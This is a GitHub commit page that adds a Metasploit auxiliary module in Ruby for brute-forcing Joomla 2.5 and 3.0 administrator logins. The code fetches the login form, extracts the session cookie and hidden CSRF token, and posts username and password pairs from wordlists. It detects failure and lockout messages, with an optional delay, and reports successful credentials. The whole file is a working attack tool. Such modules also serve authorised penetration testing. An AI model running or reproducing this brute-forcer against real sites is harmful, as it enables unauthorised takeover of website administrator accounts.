Skip to content

Commit 3becfff

Browse files
author
root
committed
Add Bruteforce Joomla
1 parent 31a615c commit 3becfff

File tree

1 file changed

+315
-0
lines changed

1 file changed

+315
-0
lines changed
Lines changed: 315 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/ntlm/message'
8+
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
16+
include Msf::Auxiliary::Scanner
17+
18+
def initialize
19+
super(
20+
'Name' => 'BruteForce Joomla 2.5 or 3.0',
21+
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0',
22+
'Author' => [ 'luisco100[at]gmail[dot]com' ],
23+
'References' =>
24+
[
25+
[ 'CVE', '1999-0502'] # Weak password Joomla
26+
],
27+
'License' => MSF_LICENSE
28+
)
29+
30+
register_options(
31+
[
32+
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
33+
File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt") ]),
34+
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
35+
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
36+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
37+
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
38+
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
39+
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
40+
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
41+
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
42+
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
43+
OptString.new('WORD_ERROR_2', [ false, "Second option for the word of message for detect that login fail","login.html"]),
44+
OptString.new('WORD_ERROR_DELAY', [ false, "The word of message for active the delay time" , "por favor intente de nuevo en un minuto"]),
45+
OptInt.new('TIME_DELAY', [false, 'The delay time ', 0]),
46+
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ])
47+
], self.class)
48+
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
49+
end
50+
51+
def find_auth_uri
52+
53+
if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0
54+
paths = [datastore['AUTH_URI']]
55+
else
56+
paths = %W{
57+
/
58+
/administrator/
59+
}
60+
end
61+
62+
paths.each do |path|
63+
res = send_request_cgi({
64+
'uri' => path,
65+
'method' => 'GET'
66+
}, 10)
67+
68+
next if not res
69+
if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/
70+
path = res.headers['Location']
71+
vprint_status("Following redirect: #{path}")
72+
res = send_request_cgi({
73+
'uri' => path,
74+
'method' => 'GET'
75+
}, 10)
76+
next if not res
77+
end
78+
79+
return path
80+
end
81+
82+
return nil
83+
end
84+
85+
def target_url
86+
proto = "http"
87+
if rport == 443 or ssl
88+
proto = "https"
89+
end
90+
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
91+
end
92+
93+
def run_host(ip)
94+
if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "")
95+
print_error("You need need to set AUTH_URI when using PUT Method !")
96+
return
97+
end
98+
@uri = find_auth_uri
99+
100+
time_delay = datastore['REQUESTTYPE']
101+
if ! @uri
102+
print_error("#{target_url} No URI found that asks for HTTP authentication")
103+
return
104+
end
105+
106+
@uri = "/#{@uri}" if @uri[0,1] != "/"
107+
108+
print_status("Attempting to login to #{target_url}")
109+
110+
each_user_pass { |user, pass|
111+
datastore['REQUESTTYPE'] = time_delay
112+
do_login(user, pass)
113+
}
114+
end
115+
116+
def do_login(user='admin', pass='admin')
117+
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")
118+
119+
response = do_http_login(user,pass)
120+
result = determine_result(response)
121+
122+
if result == :success
123+
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
124+
return :abort if (datastore['STOP_ON_SUCCESS'])
125+
return :next_user
126+
else
127+
vprint_error("#{target_url} - Failed to login as '#{user}'")
128+
if result == :delay
129+
print_status("Estableciendo retraso de un minuto")
130+
userpass_sleep_interval_add
131+
end
132+
return
133+
end
134+
end
135+
136+
def do_http_login(user,pass)
137+
138+
@uri_mod = @uri
139+
140+
if datastore['REQUESTTYPE'] == "GET"
141+
142+
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
143+
144+
begin
145+
response = send_request_cgi({
146+
'uri' => @uri_mod,
147+
'method' => datastore['REQUESTTYPE'],
148+
'username' => user,
149+
'password' => pass
150+
})
151+
return response
152+
rescue ::Rex::ConnectionError
153+
vprint_error("#{target_url} - Failed to connect to the web server")
154+
return nil
155+
end
156+
else
157+
158+
begin
159+
160+
user_var = datastore['USER_VARIABLE']
161+
pass_var = datastore['PASS_VARIABLE']
162+
163+
referer_var = "http://#{rhost}/administrator/index.php"
164+
ctype = 'application/x-www-form-urlencoded'
165+
166+
uid, cval, valor_hidden = get_login_cookie
167+
168+
if uid
169+
indice = 0
170+
value_cookie = ""
171+
#print_status("Longitud : #{uid.length}")
172+
uid.each do |val_uid|
173+
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[indice].strip};"
174+
indice = indice +1
175+
end
176+
value_cookie = value_cookie
177+
print_status("Value of cookie ( #{value_cookie} ), Hidden ( #{valor_hidden}=1 )")
178+
179+
data = "#{user_var}=#{user}&"
180+
data << "#{pass_var}=#{pass}&"
181+
data << "lang=&"
182+
data << "option=com_login&"
183+
data << "task=login&"
184+
data << "return=aW5kZXgucGhw&"
185+
data << "#{valor_hidden}=1"
186+
187+
response = send_request_raw({
188+
'uri' => @uri_mod,
189+
'method' => datastore['REQUESTTYPE'],
190+
'cookie' => "#{value_cookie}",
191+
'data' => data,
192+
'headers' =>
193+
{
194+
'Content-Type' => ctype,
195+
'Referer' => referer_var,
196+
'User-Agent' => "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0",
197+
},
198+
}, 30)
199+
200+
vprint_status("Código Primera respuesta : #{response.code}")
201+
202+
if (response.code == 301 or response.code == 302 or response.code == 303) and response.headers['Location']
203+
204+
path = response.headers['Location']
205+
print_status("Following redirect Response: #{path}")
206+
207+
response = send_request_raw({
208+
'uri' => path,
209+
'method' => 'GET',
210+
'cookie' => "#{value_cookie}",
211+
}, 30)
212+
end
213+
214+
return response
215+
else
216+
print_error("#{target_url} - Failed to get Cookies")
217+
end
218+
rescue ::Rex::ConnectionError
219+
vprint_error("#{target_url} - Failed to connect to the web server")
220+
return nil
221+
end
222+
end
223+
end
224+
225+
def determine_result(response)
226+
227+
return :abort unless response.kind_of? Rex::Proto::Http::Response
228+
return :abort unless response.code
229+
230+
if [200, 301, 302].include?(response.code)
231+
232+
#print_status("Respuesta: #{response.headers}")
233+
#print_status("Respuesta Code: #{response.body}")
234+
235+
if response.to_s.include? datastore['WORD_ERROR_DELAY']
236+
return :delay
237+
else
238+
if response.to_s.include? datastore['WORD_ERROR'] or response.to_s.include? datastore['WORD_ERROR_2']
239+
return :fail
240+
else
241+
return :success
242+
end
243+
end
244+
end
245+
return :fail
246+
end
247+
248+
def userpass_sleep_interval_add
249+
sleep_time = datastore['TIME_DELAY']
250+
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
251+
end
252+
253+
def get_login_cookie
254+
255+
uri = normalize_uri(datastore['FORM_URI'])
256+
uid = ''
257+
cval = ''
258+
valor_input_id = ''
259+
260+
res = send_request_raw({'uri' => uri,'method' => 'GET',})
261+
262+
if(res.code == 301)
263+
path = res.headers['Location']
264+
vprint_status("Following redirect: #{path}")
265+
res = send_request_cgi({
266+
'uri' => path,
267+
'method' => 'GET'
268+
}, 10)
269+
end
270+
271+
#print_status("respuesta Get login cookie: #{res.to_s}")
272+
273+
if res and res.code == 200 and res.headers['Set-Cookie']
274+
#Idetificar formulario login y obtener la variable de validacion de session de Joomla
275+
if res.body and res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
276+
277+
#form = res.body.split(/<form action=([^\>]+) id="login-form" class="form-inline"\>(.*)<\/form>/mi)
278+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
279+
#print_status("#{form[1]}")
280+
281+
if form.length == 1 #No es Joomla 2.5
282+
print_error("Probando Formulario 3.0")
283+
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
284+
end
285+
286+
if not form
287+
print_error("Formulario Joomla No Encontrado")
288+
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
289+
end
290+
291+
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
292+
#print_status("Formulario Encontrado #{form[2]}")
293+
print_status("--------> Formulario Joomla Encontrado <--------")
294+
#print_status("Campos Ocultos #{input_hidden[7]}")
295+
input_id = input_hidden[7].split("\"")
296+
#print_status("valor #{input_id[1]}")
297+
valor_input_id = input_id[1]
298+
end
299+
300+
#Obtener el nombre de la variable de cookie de Joomla
301+
indice_cookie = 0
302+
uid = Array.new
303+
cval = Array.new
304+
#print_status("cookie = #{res.headers['Set-Cookie']}")
305+
res.headers['Set-Cookie'].split(';').each {|c|
306+
if c.split('=')[0].length > 10
307+
uid.push(c.split('=')[0])
308+
cval.push(c.split('=')[1])
309+
end
310+
}
311+
return uid, cval, valor_input_id.strip
312+
end
313+
return nil
314+
end
315+
end

0 commit comments

Comments
 (0)